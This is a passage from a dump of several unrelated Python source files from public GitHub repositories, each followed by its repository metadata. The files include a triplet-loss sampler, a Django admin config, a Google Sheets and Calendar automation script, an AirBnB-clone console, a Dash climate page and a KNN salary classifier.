torch.eye(distance_matrix.shape[0]).to(distance_matrix.device) * 1e-8\n\t\tdist = distance_matrix.sqrt()\n\t\t\n\t\treturn dist\n\n\tdef pdist_cos(self, vectors):\n\t\tB, D = vectors.size()\n\t\tdot = vectors @ vectors.t()\n\t\tnorm1 = vectors.norm(dim=1)\n\t\tnorm2 = vectors.norm(dim=1).view(1, B).t()\n\t\tdot /= norm1 * norm2\n\t\treturn dot.t()\n\t\n\tdef get_triplets(self, embeddings, labels):\n\t\tif self.cpu:\n\t\t\tembeddings = embeddings.cpu()\n\t\t# TODO: cos or l2\n\t\tdistance_matrix = euclidean_distances(embeddings.numpy(), squared=self.squared)\n\t\t# distance_matrix = self.pdist_cos(embeddings))\n\t\t# distance_matrix = self.pdist(embeddings)\n\t\t\n\t\t# for ii in range(len(distance_matrix)):\n\t\t# \tassert np.isnan(distance_matrix[ii, ii]) == False, 'dist_matrix:{}\\n\\n{}\\n\\n{}'.format(distance_matrix, ceshi, embeddings[ii])\n\t\n\t\tlabels = labels.cpu().data.numpy()\n\t\ttriplets = []\n\t\t\n\t\tfor label in set(labels):\n\t\t\tlabel_mask = (labels == label)\n\t\t\tlabel_indices = np.where(label_mask)[0]\n\t\t\tif len(label_indices) < 2:\n\t\t\t\tcontinue\n\t\t\tnegative_indices = np.where(np.logical_not(label_mask))[0]\n\t\t\tanchor_positives = list(permutations(label_indices, 2)) # All anchor-positive pairs\n\t\t\tanchor_positives = np.array(anchor_positives)\n\t\t\tap_distances = distance_matrix[anchor_positives[:, 0], anchor_positives[:, 1]]\n\t\t\t\n\t\t\tif not self.all_positive:\n\t\t\t\t## batch hard strategy\n\t\t\t\t# select hardest anchor-positive and hardest anchor-negative tripelts\n\t\t\t\tanchor_positives = []\n\t\t\t\tap_distances = []\n\t\t\t\tfor anchor in label_indices:\n\t\t\t\t\t# If use cos similarity, where max -> min, label_indices need to delete anchor, otherwise\n\t\t\t\t\t# the minimum of ap is (anchor, anchor)\n\t\t\t\t\t# TODO: cos or l2\n\t\t\t\t\tap_distances.append(max(distance_matrix[anchor.repeat(len(label_indices)), label_indices]))\n\t\t\t\t\thardest_ap_idx = np.argmax(\n\t\t\t\t\t\tdistance_matrix[anchor.repeat(len(label_indices)), label_indices])\n\t\t\t\t\tanchor_positives.append([anchor, label_indices[hardest_ap_idx]])\n\t\t\t\n\t\t\tfor anchor_positive, ap_distance in zip(anchor_positives, ap_distances):\n\t\t\t\t# TODO: cos or l2\n\t\t\t\tloss_values = ap_distance - distance_matrix[np.array([anchor_positive[0]]),\n\t\t\t\t negative_indices] + self.margin\n\t\t\t\t# loss_values = distance_matrix[torch.LongTensor(np.array([anchor_positive[0]])),\n\t\t\t\t# torch.LongTensor(negative_indices)] - ap_distance + self.margin\n\t\t\t\t# loss_values = loss_values.cpu().numpy()\n\t\t\t\t\n\t\t\t\thard_negative = self.negative_selection_fn(loss_values)\n\n\t\t\t\tif hard_negative is not None:\n\t\t\t\t\tif isinstance(hard_negative, list):\n\t\t\t\t\t\tfor i in range(len(hard_negative)):\n\t\t\t\t\t\t\t_hard_negative = negative_indices[hard_negative[i]]\n\t\t\t\t\t\t\ttriplets.append([anchor_positive[0], anchor_positive[1], _hard_negative])\n\t\t\t\t\telse:\n\t\t\t\t\t\thard_negative = negative_indices[hard_negative]\n\t\t\t\t\t\ttriplets.append([anchor_positive[0], anchor_positive[1], hard_negative])\n\t\t\t\t\n\t\t\n\t\tif len(triplets) == 0:\n\t\t\ttriplets.append([anchor_positive[0], anchor_positive[1], negative_indices[0]])\n\t\t\n\t\ttriplets = np.array(triplets)\n\t\t\n\t\treturn torch.LongTensor(triplets)\n\n\ndef BatchAllTripletSelector(margin, cpu=True, squared=True):\n\treturn FunctionNegativeTripletSelector(margin=margin,\n\t negative_selection_fn=batch_all,\n\t cpu=cpu, squared=squared)\n\n\ndef HardestNegativeTripletSelector(margin, all_positive=True, cpu=True, squared=True):\n\treturn FunctionNegativeTripletSelector(margin=margin,\n\t negative_selection_fn=hardest_negative,\n\t all_positive=all_positive,\n\t cpu=cpu, squared=squared)\n\n\ndef RandomNegativeTripletSelector(margin, cpu=False, squared=True):\n\treturn FunctionNegativeTripletSelector(margin=margin,\n\t negative_selection_fn=random_hard_negative,\n\t cpu=cpu, squared=squared)\n\n\ndef SemihardNegativeTripletSelector(margin, cpu=True, squared=True):\n\treturn FunctionNegativeTripletSelector(margin=margin,\n\t negative_selection_fn=lambda x: semihard_negative(x, margin),\n\t cpu=cpu, squared=squared)\n\n\n\nclass DistanceWeightedSampling(nn.Module):\n\t'''\n parameters\n ----------\n batch_k: int\n number of images per class\n Inputs:\n data: input tensor with shapeee (batch_size, edbed_dim)\n Here we assume the consecutive batch_k examples are of the same class.\n For example, if batch_k = 5, the first 5 examples belong to the same class,\n 6th-10th examples belong to another class, etc.\n Outputs:\n a_indices: indicess of anchors\n x[a_indices]\n x[p_indices]\n x[n_indices]\n xxx\n\t'''\n\n\tdef __init__(self, n_samples, cutoff=0.5, nonzero_loss_cutoff=1.4, normalize =False, **kwargs):\n\t\tsuper(DistanceWeightedSampling,self).__init__()\n\t\tself.n_samples = n_samples\n\t\tself.cutoff = cutoff\n\t\tself.nonzero_loss_cutoff = nonzero_loss_cutoff\n\t\tself.normalize = normalize\n\t\n\tdef get_distance(self, x):\n\t\t_x = x.detach()\n\t\tsim = torch.matmul(_x, _x.t())\n\t\tdist = 2 - 2 * sim\n\t\tdist += torch.eye(dist.shape[0]).to(dist.device) # maybe dist += torch.eye(dist.shape[0]).to(dist.device)*1e-8\n\t\tdist = dist.sqrt()\n\t\t# distance_matrix = -2 * _x.mm(torch.t(_x)) + _x.pow(2).sum(dim=1).view(1, -1) + _x.pow(\n\t\t# \t2).sum(dim=1).view(-1, 1)\n\t\t# distance_matrix += torch.eye(distance_matrix.shape[0]).to(distance_matrix.device) * 0.01\n\t\t# dist = distance_matrix.sqrt()\n\t\treturn dist\n\n\tdef get_triplets(self, embeddings, labels=None):\n\t\tk = self.n_samples\n\t\tn, d = embeddings.shape\n\t\tdistance = self.get_distance(embeddings)\n\t\tdistance = distance.clamp(min=self.cutoff)\n\t\tlog_weights = ((2.0 - float(d)) * distance.log() - (float(d-3)/2)*torch.log(torch.clamp(1.0 - 0.25*(distance*distance), min=1e-8)))\n\n\t\tif self.normalize:\n\t\t\tlog_weights = (log_weights - log_weights.min()) / (log_weights.max() - log_weights.min() + 1e-8)\n\n\t\tweights = torch.exp(log_weights - torch.max(log_weights))\n\n\t\tif embeddings.device != weights.device:\n\t\t\tweights = weights.to(embeddings.device)\n\n\t\tmask = torch.ones_like(weights)\n\t\tfor i in range(0,n,k):\n\t\t\tmask[i:i+k, i:i+k] = 0\n\n\t\tmask_uniform_probs = mask.double() *(1.0/(n-k))\n\n\t\tweights = weights * mask * ((distance < self.nonzero_loss_cutoff).float())\n\t\tweights_sum = torch.sum(weights, dim=1, keepdim=True)\n\t\t_weights = weights / (weights_sum + 1e-8)\n\n\t\t# a_indices = []\n\t\t# p_indices = []\n\t\t# n_indices = []\n\t\ttriplets = []\n\n\t\tnp_weights = _weights.cpu().numpy()\n\t\tmask_uniform_probs = mask_uniform_probs.cpu().numpy()\n\t\t_max = []\n\t\t_min = []\n\t\t\n\t\tfor i in range(n):\n\t\t\tblock_idx = i // k\n\t\t\t\n\t\t\tfor value in np_weights[i]:\n\t\t\t\tassert np.isnan(value) == False, 'i:{}\\n\\n\\n\\n' \\\n\t\t\t\t 'np_weights[i]: {}\\n\\n\\n\\n\\n' \\\n\t\t\t\t 'distance: {}\\n\\n\\n\\n' \\\n\t\t\t\t 'weights_sum: {}\\n\\n\\n\\n' \\\n\t\t\t\t 'weights[i]:{}\\n\\n\\n\\n' \\\n\t\t\t\t 'log_weights[i]: {}'.format(i,\n\t\t\t\t np_weights[i],\n\t\t\t\t distance,\n\t\t\t\t weights_sum,\n\t\t\t\t weights[i],\n\t\t\t\t log_weights[i])\n\t\t\t\t\n\t\t\t_max.append(max(np_weights[i]))\n\t\t\t_min.append(min(set(np_weights[i]) - set(np_weights[i][block_idx * k:(block_idx + 1) * k])))\n\t\t\t\t\n\t\t\tif weights_sum[i] != 0:\n\t\t\t\t\tn_indices = np.random.choice(n, k-1, p=np_weights[i]).tolist()\n\t\t\t\t\n\t\t\telse:\n\t\t\t\tn_indices = np.random.choice(n, k-1, p=mask_uniform_probs[i]).tolist()\n\t\t\tidx = 0\n\t\t\tfor j in range(block_idx * k, (block_idx + 1) * k):\n\t\t\t\tif j != i:\n\t\t\t\t\ttriplets.append([i, j, n_indices[idx]])\n\t\t\t\t\tidx += 1\n\t\t\n\t\t# print(_min, '\\n', _max)\n\t\t# print(np.mean(np.array(_min)))\n\t\t# print(np.mean(np.array(_max)))\n\t\t\n\t\ttriplets = np.array(triplets)\n\t\n\t\treturn torch.LongTensor(triplets)","repo_name":"matln/voxceleb_triplet-loss","sub_path":"triplet_select.py","file_name":"triplet_select.py","file_ext":"py","file_size_in_byte":11033,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"19"} +{"seq_id":"18922942471","text":"from django.contrib import admin\nfrom feed.models import Feed, Like, Comment\n\n\nclass CommentInline(admin.StackedInline):\n model = Comment\n can_delete = False\n verbose_name_plural = \"Comment\"\n\n\n@admin.register(Feed)\nclass FeedAdmin(admin.ModelAdmin):\n list_display = (\n \"id\",\n \"owner\",\n \"content\",\n \"created_at\",\n \"updated_at\",\n )\n inlines = (CommentInline,)\n\n\n@admin.register(Like)\nclass LikeAdmin(admin.ModelAdmin):\n list_display = (\n \"id\",\n \"user\",\n \"feed\",\n \"created_at\",\n )\n","repo_name":"likelion-backend-6th/WellPlay_app","sub_path":"backend/feed/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"19"} +{"seq_id":"20618613563","text":"#!/usr/local/bin/python3\n# coding: utf-8\nimport yaml\nimport numpy as np\nimport datetime\nfrom datetime import datetime, timedelta\n\n# for Google Calendar access\nimport os\nfrom googleapiclient.discovery import build\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\nfrom google.oauth2.credentials import Credentials\n\ndef openGoogleForm(cf):\n from selenium import webdriver\n from selenium.webdriver.common.keys import Keys\n from selenium.webdriver.support.ui import WebDriverWait\n\n chrome = webdriver.Chrome(cf['webdriver'])\n\n # Googleフォームを開く\n chrome.get(cf['URL']+'&entry.'+cf['entry-expected-cost']+'='+cf['expected-cost'])\n\n # タブが閉じられるのを待つ\n WebDriverWait(chrome, 60*60*24).until(lambda d: len(d.window_handles) == 0)\n\n # 終了処理\n chrome.quit()\n\ndef readFromSpread(cf):\n import gspread\n import json\n\n #ServiceAccountCredentials:Googleの各サービスへアクセスできるservice変数を生成します。\n from oauth2client.service_account import ServiceAccountCredentials\n\n #2つのAPIを記述しないとリフレッシュトークンを3600秒毎に発行し続けなければならない\n scope = ['https://spreadsheets.google.com/feeds','https://www.googleapis.com/auth/drive']\n\n #認証情報設定\n #ダウンロードしたjsonファイル名をクレデンシャル変数に設定(秘密鍵、Pythonファイル���ら読み込みしやすい位置に置く)\n credentials = ServiceAccountCredentials.from_json_keyfile_name(cf['json'], scope)\n\n #OAuth2の資格情報を使用してGoogle APIにログインします。\n gc = gspread.authorize(credentials)\n\n #共有設定したスプレッドシートキーを変数[SPREADSHEET_KEY]に格納する。\n SPREADSHEET_KEY = cf['spreadsheet-key']\n\n #共有設定したスプレッドシートのシート1を開く\n worksheet = gc.open_by_key(SPREADSHEET_KEY).sheet1\n\n #セルの値を受け取る\n c1 = worksheet.col_values(1)\n c2 = worksheet.col_values(2)\n c3 = worksheet.col_values(3)\n c4 = worksheet.col_values(4)\n\n # 購入日付の計算\n # td : 月当たりのコストを用いてリスケールした基準買い付け日幅\n # td2 : 実際の買い付け日と基準日とのずれを補正する因子\n td = np.floor(30 * float(c3[-1]) / float(c2[-1]))\n expect = datetime.strptime(c4[-1], '%Y/%m/%d')\n current = datetime.strptime(c1[-1], '%Y/%m/%d %H:%M:%S')\n td2 = (expect - current).days\n\n # 次の購入日付を4列目セルに書き込み\n next = current + timedelta(days=td+td2)\n strnext = next.strftime('%Y/%m/%d')\n worksheet.update_cell(len(c2), 4, strnext)\n print('Next purchase date is set to be '+strnext+'!!')\n\n return next\n\ndef writeToCalendar(cf, next):\n # If modifying these scopes, delete the file token.json.\n SCOPES = ['https://www.googleapis.com/auth/calendar']\n\n creds = None\n # The file token.json stores the user's access and refresh tokens, and is\n # created automatically when the authorization flow completes for the first\n # time.\n if os.path.exists('token.json'):\n creds = Credentials.from_authorized_user_file('token.json', SCOPES)\n # If there are no (valid) credentials available, let the user log in.\n if not creds or not creds.valid:\n if creds and creds.expired and creds.refresh_token:\n creds.refresh(Request())\n else:\n flow = InstalledAppFlow.from_client_secrets_file(\n 'credentials.json', SCOPES)\n creds = flow.run_local_server(port=0)\n # Save the credentials for the next run\n with open('token.json', 'w') as token:\n token.write(creds.to_json())\n\n service = build('calendar', 'v3', credentials=creds)\n\n event = {\n 'summary': 'ETF新規購入',\n 'location': 'Charles Schwab',\n 'description': 'Automatically scheduled by Dollar Cost Manager App',\n 'start': {\n 'dateTime': next.strftime('%Y-%m-%dT09:30:00'),\n 'timeZone': 'America/New_York',\n },\n 'end': {\n 'dateTime': next.strftime('%Y-%m-%dT16:00:00'),\n 'timeZone': 'America/New_York',\n },\n }\n\n event = service.events().insert(calendarId=config['calendar-id'],\n body=event).execute()\n print('Added to Google Calendar with ID=', event['id'])\n\n# 更新を確認\nos.system('git pull')\n\n# 設定ファイルの読み込み\nwith open('config.yml', 'r') as yml:\n config = yaml.load(yml, Loader=yaml.SafeLoader)\n\nopenGoogleForm(config)\nnext = readFromSpread(config)\nwriteToCalendar(config, next)\n","repo_name":"SoChigusa/dollar-cost-manager","sub_path":"new.py","file_name":"new.py","file_ext":"py","file_size_in_byte":4714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"18612492341","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nclass MemberDAO:\n #insert,update,delete,selectAll,\n #searchList,selectOne\n def insert(self,vo):\n print(\"insert()..\",vo.toString())\n return 1\n\n def update(self,vo):\n print(\"update()..\",vo.toString())\n return 1\n\n \n def delete(self,vo):\n print(\"delete()..\",vo.toString())\n return 1\n\n def selectOne(self,vo):\n print(\"selectOne()..\",vo.toString())\n return MemberVO()\n\n def selectAll(self):\n print(\"selectAll()..\")\n lst = []\n lst.append(MemberVO())\n lst.append(MemberVO())\n return lst\n\n def searchList(self,searchKey,searchWord):\n print(\"searchList()..\")\n print(\"searchKey:\",searchKey)\n print(\"serchWord:\",searchWord)\n lst = []\n lst.append(MemberVO())\n lst.append(MemberVO())\n return lst\n\n\n\n\nclass MemberVO:\n num = 1\n id = \"admin\"\n pw = \"hi1234\"\n name = \"kim\"\n tel = \"02\"\n\n\n def toString(self):\n return \"MemberVO : %d,%s,%s,%s,%s \\n\" % (self.num,self.id,self.pw,self.name,self.tel)\n\ndao = MemberDAO()\nvo = MemberVO()\nprint(dao.insert(vo))\nprint(dao.update(vo))\nprint(dao.delete(vo))\nprint(dao.selectOne(vo).toString())\n\nlst = dao.selectAll()\nprint(lst)\nfor vo in lst:\n print(vo.toString())\n\n#################\n#mission\n#StudentDAO,insert,update,delete,selectAll\n# selectOne,searchList\n#StudentVO,num,name,kor,eng,math\n","repo_name":"briso05/python_practice","sub_path":"py20MemberDAO.py","file_name":"py20MemberDAO.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"27279790784","text":"\nfrom requests import get\nfrom App.BackEnd.TxtConverter import TxtConverter\nfrom settings import PATH\n\n\nclass ExtractData:\n\n def __init__(self, urls: list, is_one_file: bool):\n self._urls = urls\n self._is_one_file = is_one_file\n\n def extract_and_save(self):\n\n if self._is_one_file:\n\n init_date = self._urls[0].get_date().get_date()\n final_date = self._urls[-1].get_date().get_date()\n\n name = f'{init_date.year}-{init_date.month}-{init_date.day}' \\\n f'_{final_date.year}-{final_date.month}-{final_date.day}'\n data = []\n\n for url in self._urls:\n day_data = get(url.get_url()).json()\n data.append(day_data)\n\n txt = TxtConverter(data)\n file = txt.call_one_file(name)\n txt.write(file)\n\n else:\n\n for url in self._urls:\n data = get(url.get_url()).json()\n dat = data['observations']\n name = dat[0]['obsTimeUtc'][0:10]\n station = dat[0]['stationID']\n _path = PATH.replace(r'\\dist\\run', '')\n file = open(f\"{_path}\\Data\\{station}_{name}.txt\", 'a')\n txt = TxtConverter(dat[0])\n txt.header(file)\n file.close()\n\n for line in dat:\n txt = TxtConverter(line)\n file = txt.call_files(station, name)\n txt.write(file, line)\n","repo_name":"thomas-michels/DadosClimaticos","sub_path":"App/BackEnd/ExtractData/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7723488095","text":"#!/usr/bin/python3\n\"\"\"\nconsole AirB&B project\n\"\"\"\nfrom models.base_model import BaseModel\nfrom models.engine.file_storage import FileStorage\nfrom models import storage\nfrom models.user import User\nfrom models.place import Place\nfrom models.state import State\nfrom models.city import City\nfrom models.amenity import Amenity\nfrom models.review import Review\nfrom models import theClasses\nimport cmd\n\n\nclass HBNBCommand(cmd.Cmd):\n \"\"\"\n class HBNB for command lines\n \"\"\"\n prompt = \"(hbnb) \"\n storage.reload()\n\n def emptyline(self):\n \"\"\"don't make nothing\"\"\"\n pass\n\n def do_create(self, args):\n \"\"\"Creates a new instance of BaseModel\"\"\"\n if not args:\n print(\"** class name missing **\")\n else:\n class_name = args.split()[0]\n if class_name not in theClasses:\n print(\"** class doesn't exist **\")\n else:\n new_instance = BaseModel()\n new_instance.save()\n print(new_instance.id)\n\n def do_show(self, args):\n \"\"\"Prints the string representation of an instance\"\"\"\n args_list = args.split()\n if not args_list:\n print(\"** class name missing **\")\n elif args_list[0] not in theClasses:\n print(\"** class doesn't exist **\")\n elif len(args_list) < 2:\n print(\"** instance id missing **\")\n else:\n obj_key = args_list[0] + \".\" + args_list[1]\n obj_dict = storage.all()\n if obj_key in obj_dict:\n print(obj_dict[obj_key])\n else:\n print(\"** no instance found **\")\n\n def do_destroy(self, args):\n \"\"\"Deletes an instance based on class name and id\"\"\"\n args_list = args.split()\n if not args_list:\n print(\"** class name missing **\")\n elif args_list[0] not in theClasses:\n print(\"** class doesn't exist **\")\n elif len(args_list) < 2:\n print(\"** instance id missing **\")\n else:\n obj_key = args_list[0] + \".\" + args_list[1]\n obj_dict = storage.all()\n if obj_key in obj_dict:\n del obj_dict[obj_key]\n storage.save()\n else:\n print(\"** no instance found **\")\n\n def do_all(self, args):\n \"\"\"Prints all instances or instances of a specific class\"\"\"\n obj_dict = storage.all()\n if not args:\n print([str(obj) for obj in obj_dict.values()])\n else:\n class_name = args.split()[0]\n if class_name not in theClasses:\n print(\"** class doesn't exist **\")\n else:\n print([str(obj) for obj in obj_dict.values()\n if isinstance(obj, BaseModel)])\n\n def do_update(self, args):\n \"\"\" Updates an instance based on the class name and id \"\"\"\n\n if not args:\n print(\"** class name missing **\")\n return\n\n token = args.split()\n\n if token[0] not in theClasses:\n print(\"** class doesn't exist **\")\n elif len(token) == 1:\n print(\"** instance id missing **\")\n else:\n all_objs = storage.all()\n for key, val in all_objs.items():\n ob_name = val.__class__.__name__\n ob_id = val.id\n if ob_name == token[0] and ob_id == token[1].strip('\"'):\n if len(token) == 2:\n print(\"** attribute name missing **\")\n elif len(token) == 3:\n print(\"** value missing **\")\n else:\n setattr(val, token[2], token[3])\n storage.save()\n return\n print(\"** no instance found **\")\n\n def do_EOF(self, args):\n \"\"\"end_of_file\"\"\"\n return True\n\n def do_quit(self, args):\n \"\"\"Quit command to exit the program\"\"\"\n return True\n\n\nif __name__ == \"__main__\":\n console = HBNBCommand()\n console.cmdloop()\n","repo_name":"Klajdi2004/holbertonschool-AirBnB_clone","sub_path":"console.py","file_name":"console.py","file_ext":"py","file_size_in_byte":4065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26716313693","text":"import sys\ns = sys.stdin.readline().strip()\nnumls = [(int)(item) for item in s if item != '-']\nprint(numls)\nnum_num = len(numls)\npos = [0 for _ in range(num_num)]\nneg = [0 for _ in range(num_num)]\nans_pos = [0 for _ in range(num_num)]\nans_neg = [0 for _ in range(num_num)]\nnum_rev = 0\nnum_cnt = num_num-1\nfor item in range(len(s)-1, -1, -1):\n if s[item] == '-':\n num_rev += 1\n elif num_cnt == num_num-1:\n num_rev = 0\n pos[num_num-1] = 1\n neg[num_num-1] = 0\n num_cnt -= 1\n else:\n if num_rev%2 == 0:\n pos[num_cnt] = pos[num_cnt+1]+1\n neg[num_cnt] = neg[num_cnt+1]\n else:\n pos[num_cnt] = neg[num_cnt+1]+1\n neg[num_cnt] = pos[num_cnt+1]\n num_cnt -= 1\n num_rev = 0\n","repo_name":"kisuk010203/PS","sub_path":"Contests/SNU/2021/23046.py","file_name":"23046.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"19994522795","text":"from user import *\nfrom items import Sword\nfrom action import *\n\n# Monster Class\nclass Monster(Action):\n \"\"\"Monster class\"\"\"\n def __init__(self, nickname, hp, mp, weapon):\n self.nickname = nickname\n self.hp = hp\n self.mp = mp\n self.weapon = weapon\n self.MAX_HP = hp\n\n def __str__(self):\n return self.nickname\n\n####################################################################################\n####################################################################################\n\n# Monster damage\nsatyr_weapon = Sword(\"Satyr\", 5)\nbasilisk_weapon =Sword(\"Basilisk\", 15)\nhydra_weapon = Sword(\"Hydra\", 25)\nwerewolf_weapon = Sword(\"Werewolf\", 10)\ntroll_weapon= Sword(\"Troll\",8)\ngoblin_weapon = Sword(\"Goblin\", 5)\n\ndamage5 = Sword('5', 5)\ndamage10 = Sword(\"10\", 10)\ndamage15 = Sword('15', 15)\ndamage20 = Sword('20', 20)\ndamage25 = Sword('25', 25)\ndamage30 = Sword('30', 30)","repo_name":"domug/WASEDA-RPG","sub_path":"codes/mob.py","file_name":"mob.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73362976359","text":"import dash_core_components as dcc\nimport dash_html_components as html\n\nimport dash_bootstrap_components as dbc\n\nimport pathlib\nimport page_builder as pb\nfrom settings import *\nfrom charts import empty_chart\n\nchapter_num = '3.12b'\nbannerImgSrc = IMAGES_PATH+'OceanicSections/Other_Marine_Institute_ DSC_03515_Weather buoy.JPG'\nbannerImgCredit = 'Marine Institute'\n\nintroText = \"\"\"\nWhen wind blows over the open ocean a surface stress is induced. This stress \ndepends on a number of characteristics of the atmosphere, such as \nstratification and air density, and of the ocean, such as wave state and wave \nage. The magnitude of the stress influences the air-sea exchange of energy, \nwater (evaporation), and oxygen, carbon dioxide and other gases. \n \"\"\"\nbulletPoint1 = \"\"\"\nSurface \nstress drives coastal currents, storm surge, surface waves, and ice transport; \nalso, ocean surface turbulence and mixed layer evolution, and is a factor in \ndeep-water formation.\n \"\"\"\nbulletPoint2 = \"\"\"\nOcean surface stress is \ncritically important for determining the large-scale wind- and buoyancy-driven \nocean circulation.\n \"\"\"\nbulletPoints = [bulletPoint1, bulletPoint2]\ntrendChartTitle = ''\ntrendChart = empty_chart()\n\ntrendCaption = \"\"\"\n\n \"\"\"\n\ninfrastructureText = \"\"\"\nSurface stress can be determined from data collected by \nmoored instruments, those deployed by ships and from data collected by \nsatellite borne instruments.\n \"\"\"\ninfrastructureMap = empty_chart()\n\ninfoLinks = [\n {'text': 'Ocean Surface Stress Essential Climate Variable (ECV) Factsheet',\n 'url': 'https://gcos.wmo.int/en/essential-climate-variables/surface-stress'},\n {'text': 'Information about GO-SHIP',\n 'url': 'https://www.go-ship.org/About.html'},\n\n]\n\n\n########################################################################################################################\nchapter_dict = next(\n (item for item in CHAPTERS if item['chapter-num'] == chapter_num), None)\n\ntrendText= \"\"\"\nSurface stress was added in the 2016 revision of the GCOS implementation plan. To date no observations have been established for Ireland.\n\"\"\"\ncustom_trend = dbc.Container(\n className='sr-trends',\n style={'borderColor': chapter_dict['domain-color']},\n id='trends',\n children=[\n html.H3(\n className='sr-section-heading',\n children='Trends',\n style={'color': chapter_dict['domain-color']},\n ),\n dbc.Row(\n children=[\n dbc.Col(className=\"col-12 my-auto\",\n children=[\n html.P(trendText)]\n ),\n\n ])\n ])\n\ncustom_infrastructure = dbc.Container(\n className='sr-infrastructure',\n style={'borderColor': chapter_dict['domain-color']},\n id='infrastructure',\n children=[\n html.H3(\n className='sr-section-heading',\n children='Infrastructure',\n style={'color': chapter_dict['domain-color']},\n ),\n dbc.Row(\n children=[\n dbc.Col(className=\"col-12 my-auto\",\n children=[\n html.P(infrastructureText)]\n ),\n\n ])\n ])\n\ndef create_layout(app):\n return html.Div(\n children=[\n pb.build_banner(bannerImgSrc,\n bannerImgCredit,\n chapter_dict\n ),\n pb.build_breadcrumb(chapter_dict),\n pb.build_nav(chapter_dict),\n pb.build_intro(introText,\n bulletPoints,\n chapter_dict\n ),\n custom_trend,\n custom_infrastructure,\n pb.build_info(infoLinks,\n chapter_dict),\n\n pb.build_nav_carousel(chapter_dict)\n ])\n","repo_name":"ClimateIreland/CI-Climate-Status-Tool","sub_path":"dash_app/pages/_3_12b_OceanSurfaceStress.py","file_name":"_3_12b_OceanSurfaceStress.py","file_ext":"py","file_size_in_byte":3931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"15301373945","text":"#Working KNN years of experience\r\n\r\nimport numpy as np #numpy is a library for making computations\r\nimport matplotlib.pyplot as plt #it is a 2D plotting library\r\nimport pandas as pd # pandas is mainly used for data analysis\r\nimport seaborn as sns # data visualization library\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nfrom sklearn.model_selection import train_test_split\r\nimport pickle\r\nimport random\r\ndata=pd.read_csv(\"C:\\\\Users\\\\lenovo\\\\PycharmProjects\\\\RecruitmentSystem\\\\Salary_Data.csv\")\r\n\r\n##to create the pickle file\r\nwith open('C:\\\\Users\\\\lenovo\\\\PycharmProjects\\\\RecruitmentSystem\\\\source_object_name', 'wb') as f:\r\n pickle.dump(data, f)\r\n\r\n##to load the pickle file\r\nwith open('C:\\\\Users\\\\lenovo\\\\PycharmProjects\\\\RecruitmentSystem\\\\source_object_name','rb') as f:\r\n dest = pickle.load(f)\r\n\r\nprint(dest)\r\n\r\nfeatures=[] #nb of years\r\nlabels=[] #fit or unfit for training\r\n\r\n\r\nX=dest.iloc[:,:-1].values\r\n#Storing the column 1 in X and column 2 in y\r\nY=dest.iloc[:,:2].values\r\n\r\nprint(\"X\",X)\r\nprint(\"Y\",Y)\r\n#snsdistplot(df['YearsExperience'],kde=False,bins=10)\r\n\r\n#Years of Experience, level of degree, skills\r\nfor y in range(0,29):\r\n\r\n features.append(X[y][0])\r\n ##accuracies.append(np.mean(predictions == ytest))\r\n ##models.append(knn_model)\r\nfor y in range(0,29):\r\n if (X[y][0]>5):\r\n labels.append (1) #Senior\r\n else:\r\n labels.append(0) #Junior\r\n\r\n\r\nprint(\"YearsOfExperience: \", features)\r\nprint(\"Salary\", labels)\r\n\r\n\r\n\r\nxtrain, xtest, ytrain, ytest = train_test_split(features,labels,test_size=0.2,shuffle=True)\r\n\r\naccuracies =[]\r\nmodels= []\r\n\r\nfor k in range(1,8):\r\n knn_model=KNeighborsClassifier(n_neighbors=k)\r\n xtrain = np.array(xtrain).reshape(-1,1)\r\n xtest =np.array(xtest).reshape(-1,1)\r\n knn_model.fit(xtrain,ytrain)\r\n predictions = knn_model.predict(xtest)\r\n accuracies.append(np.mean(predictions==ytest))\r\n models.append(knn_model)\r\n\r\nfor k in range(1,8):\r\n print(\"Accuracy for k: \",k)\r\n print(accuracies[k-1])\r\n\r\n# Plotting accuracies\r\nplt.plot(range(1,8),accuracies)\r\nplt.ylabel(\"Accuracies\")\r\nplt.xlabel(\"# of Neighbours\")\r\nplt.title(\"Accuracies\")\r\nplt.grid()\r\nplt.show()\r\nprint(\"xtest: \", xtest)\r\nprint(predictions)\r\n\r\n#print(\"Accuracy for k: \" ,4)\r\n#accuracies.append(np.mean(predictions==ytest))\r\n#print(accuracies)\r\n\r\n\r\n# #Plotting accuracies\r\nplt.plot(range(1,8),accuracies)\r\nplt.ylabel(\"Accuracies\")\r\nplt.xlabel(\"# of Neighbours\")\r\nplt.title(\"Accuracies\")\r\nplt.grid()\r\nplt.show()\r\n#\r\n#Get accuracies as percentages\r\npercentages=[]\r\nfor i in range(1,8):\r\n percentages.append(100*accuracies[i-1])\r\n\r\n#Find maximum value and corresponding K index\r\nmaximum = max(percentages)\r\nprint(\"Max percentage: \", maximum)\r\nprint(\"K-value: \", percentages.index(maximum)+1)\r\nprint(\"K-value: \", accuracies.index(max(accuracies))+1)\r\n\r\nindex = percentages.index(maximum)+1\r\nprint(percentages[index-1])\r\n\r\nplt.plot(range(1,8),percentages)\r\nplt.ylabel(\"Accuracies Percentages\")\r\nplt.xlabel(\"# of Neighbours\")\r\nplt.title(\"Percentages\")\r\nplt.grid()\r\nplt.show()\r\n\r\noptimized_model = models[index-1]\r\n#Save the model in 'model.sav' folder\r\npick = open('knn_model.sav', 'wb')\r\npickle.dump(knn_model, 